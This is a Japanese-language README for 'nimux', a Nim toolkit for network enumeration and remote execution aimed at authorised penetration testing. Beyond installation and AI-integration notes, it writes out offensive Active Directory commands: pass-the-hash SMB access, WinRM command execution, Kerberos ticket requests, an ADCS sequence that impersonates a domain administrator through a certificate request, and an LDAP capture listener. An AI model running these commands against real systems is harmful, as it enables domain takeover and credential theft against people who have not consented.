blue0x1/nimuxPure-Nim製のネットワーク列挙およびリモート実行ツールキットで、許可されたセキュリティ評価を目的としています。SMB、LDAP、Kerberos、WinRM、データベースクライアント、シークレット収集、DCSync、GPO操作、SOCKSルーティングをサポートします。
Pure-Nimによるネットワーク列挙およびリモート実行ツールキット
nimuxは、許可されたセキュリティ評価のためのネイティブコマンドサーフェスです。ネットワーク列挙、軽量なWebディスカバリー、認証情報の検証、Active Directory操作、Kerberosワークフロー、リモート実行、ファイル転送、シークレット収集、DCSync、GPO操作、データベースクライアント、SOCKSルーティングを1つのPure-Nimツールキットに統合しています。
現在のリリース: v1.0.7
nimuxの公式公開リポジトリです。
nimuxは許可されたテスト専用に構築されています。書面による許可なく第三者システムに対して使用しないでください。開発者は、悪用、損害、または法的結果について責任を負いません。
使用例、コマンドリファレンス、ワークフローの注意事項はドキュメントで管理されています:
エージェント向けガイダンスとMCP統合ファイルはSKILLS.mdおよびintegrations/で提供されています。
コアのnimuxバイナリは独立したままです。AI統合はnimuxをネイティブ実行エンジンとして呼び出し、--jsonを優先し、サポートされている書き込みの前に--dry-runを使用し、実行または変更には明示的な承認を必要とすべきです。
nimux-mcpはAIクライアント向けの独立したMCP stdioラッパーです。
場所:
integrations/mcp/nimux-mcp
ビルド:
cd integrations/mcp/nimux-mcp
nimble build -y
MCPクライアント設定の例:
{
"mcpServers": {
"nimux": {
"command": "/path/to/nimux/integrations/mcp/nimux-mcp/nimux_mcp",
"env": {
"NIMUX_BIN": "/usr/local/bin/nimux",
"NIMUX_MCP_POLICY": "/path/to/policy.json"
}
}
}
}
ラッパーは、MCPのContent-LengthでフレーミングされたJSON-RPC、ローカルの改行区切りJSON-RPCテスト、ポリシーチェック、承認ゲート、リダクション、進捗通知、SOCKSピボットメタデータをサポートしています。
詳細:
https://docs.nimux.wiki/mcp-integration
Nimbleはnimuxをソースからビルドするため、ネイティブ開発ライブラリを 先にインストールする必要があります。Kali、Debian、Ubuntuでは:
sudo apt update
sudo apt install -y build-essential ca-certificates git libssl-dev libkrb5-dev
nimble install nimux
Nimble を sudo で実行しないでください。Nimble が SSL 証明書エラーを報告する場合は、再試行する前にシステムの CA ストアを更新してください:
sudo apt install --reinstall ca-certificates
sudo update-ca-certificates
nimble refresh
MinGW-w64 は基本インストールでは任意ですが、Windows ヘルパーバイナリをビルドする実行パスでは必須です:
sudo apt install -y mingw-w64
ビルド済みのリリースアセットは GitHub で入手できます:
https://github.com/blue0x1/nimux/releases
リリースページから最新の Linux バイナリまたは Debian パッケージをダウンロードしてください。
Debian パッケージをインストールします:
sudo dpkg -i nimux_*_amd64.deb
sudo apt --fix-broken install
スタンドアロンのLinuxバイナリを使用します:
chmod +x nimux
./nimux --help
./nimux --version
公開コンテナイメージは GitHub Container Registry から入手できます:
docker run --rm -it --network host ghcr.io/blue0x1/nimux:latest --help
スキャンを実行します:
docker run --rm -it --network host ghcr.io/blue0x1/nimux:latest \
scan 10.10.10.0/24 --port 445,389,5985 --open
軽量なWebディスカバリを実行します:
nimux http app.example.local --dirs words.txt --workers 100 --status 200,301,302,403 --baseline
nimux http app.example.local --dirs words.txt --auto-calibrate --recursion --depth 2 --extract-links
nimux http app.example.local --files words.txt --extensions php,txt,bak --workers 100 --filter-regex 'Not Found' -fs 325
nimux http 192.0.2.10 --vhosts vhosts.txt -d app.example.local --workers 100 --resume seen.jsonl --json
nimux dns app.example.local --subdomains subdomains.txt --workers 200 --json
読み取り専用のSMBスパイダリングを実行します:
nimux smb files01.example.local --shares
nimux smb files01.example.local --spider --share Public --max-depth 3
nimux smb files01.example.local --spider --interesting --size-limit 10485760
MCPラッパーを実行します:
docker run --rm -i --network host --entrypoint nimux_mcp \
ghcr.io/blue0x1/nimux:latest
nimux は AUR で利用可能です:
https://aur.archlinux.org/packages/nimux
AUR ヘルパーを使ってインストールします:
yay -S nimux
手動でビルドする場合:
git clone https://aur.archlinux.org/nimux.git
cd nimux
makepkg -si
nimux は BlackArch で利用可能です:
sudo pacman -S nimux
git clone https://github.com/blue0x1/nimux
cd nimux
nimble build -y
要件:
ソースからローカルの Debian パッケージをビルドします:
dpkg-buildpackage -us -uc -b
sudo apt install ../nimux_*.deb
bh は保存済みのBloodHound ZIPをローカルで読み取ります。インベントリ、収集
カバレッジ、オブジェクト検索、および直接/ネストされたグループメンバーシップの検査を提供します:
nimux bh collection.zip --summary
nimux bh collection.zip --interesting
nimux bh collection.zip --high-value
nimux bh collection.zip --search alice
nimux bh collection.zip --inspect '[email protected]'
nimux bh collection.zip --summary --json
nimux bh collection.zip --graph --high-value
nimux bh --help
--interesting は重要なオブジェクト、特権アカウント、パスワードポリシーの例外、停滞したアクティビティ、および収集のギャップを強調表示します。--high-value は、よく知られたドメイン SID によって高価値としてフラグ付けまたは分類されたオブジェクトを表示します。
--graph を追加すると、有向関係グラフをターミナルに出力します。ブラウザ、データベース、ネットワーク接続は不要です。出力は通常のターミナルのスクロールバック内に留まり、リダイレクトすることもできます。
nimux bh collection.zip --interesting --graph --limit 0
nimux bh collection.zip --graph --from '[email protected]' --to 'DOMAIN [email protected]'
nimux bh collection.zip --graph --inspect '[email protected]'
--user、--computer、または --group を使用して単一のオブジェクトにスコープを限定します:
nimux bh collection.zip --user alice --interesting
nimux bh collection.zip --computer dc01 --interesting
nimux bh collection.zip --group 'HELP DESK' --interesting
サポートされる入力: 単一ボリューム、非暗号化ZIP（BloodHound JSONスキーマ v5 または v6）。外部ツールは不要で、解析はすべてプロセス内で実行されます。
開発者向けチェック:
nim c -r tests/test_bloodhound.nim
nim c -r tests/check_bloodhound_archives.nim /path/to/collection.zip
nimux scan 10.10.10.0/24 --port 445,389,5985 --open
nimux smb dc01.example.local -u operator -H <nt_hash> -d example.local --shares --users
nimux smb files01.example.local -u operator -p '<password>' -d example.local --spider --max-depth 3 --interesting
nimux ldap dc01.example.local -u operator -p '<password>' -d example.local --bloodhound --legacy --bloodhound-out bh-legacy.zip
nimux winrm host.example.local -u operator -p '<password>' -d example.local --cmd whoami
nimux kerberos dc01.example.local -u operator -p '<password>' -d example.local --request kinit --out <ccache>
nimux scan 10.10.10.0/24 --port 445,389,5985 --proxy socks5://127.0.0.1:1080
ADCSポリシーと証明書ワークフローの例:
nimux ldap dc01.example.local -u '<gmsa-account>$' -H <nt_hash> -d EXAMPLE.LOCAL \
--adcs-policy --ca CORP-CA --adcs-get-disable-extension-list
nimux ldap dc01.example.local -u '<gmsa-account>$' -H <nt_hash> -d EXAMPLE.LOCAL \
--adcs-policy --ca CORP-CA \
--adcs-set-disable-extension-list 1.3.6.1.4.1.311.25.2
nimux ldap dc01.example.local -u <service-user> -p '<password>' -d EXAMPLE.LOCAL \
--adcs-request --adcs-rpc --ca CORP-CA --template User \
--upn <admin>@example.local \
--sid S-1-5-21-1111111111-2222222222-3333333333-500 \
--out <admin>.pfx
LDAPキャプチャリスナー:
nimux ldap --server
nimux ldap --server --srvhost 0.0.0.0 --srvport 2222
nimux ldap --server --srvhost 0.0.0.0 --srvport 2222 --challenge 1122334455667788